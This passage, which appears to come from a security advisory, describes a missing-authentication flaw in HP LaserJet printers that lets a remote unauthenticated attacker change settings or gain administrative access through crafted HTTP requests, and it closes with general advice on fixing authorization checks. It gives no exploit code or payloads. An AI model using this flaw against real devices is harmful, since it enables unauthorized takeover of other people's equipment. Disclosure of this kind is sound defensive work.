computer company Hewlett-Packard (HP). The HP LaserJet was the world's first desktop laser printer.

# Impact :
***********
The software does not perform any authentication for functionality that requires a provable user identity

or consumes a significant amount of resources.

The vulnerability allows a remote unauthenticated attacker to send specially crafted HTTP request to the

affected application and change configuration settings or gain administrative access.

Missing authentication for critical function is a language independent issue that can appear in any multiuser environment.

Developing a fix would require understanding of the current application security model and implemented access controls.

Three basic rules however can help you eliminate potential improper authorization issues:

1) Identify all privileged assets within your application (web pages that display sensitive data,
website sections that contain privileged/administrative functionality, etc.)

2) Identify user roles within the application and their access permissions

3) Always check if the user should have privileges to access the asset
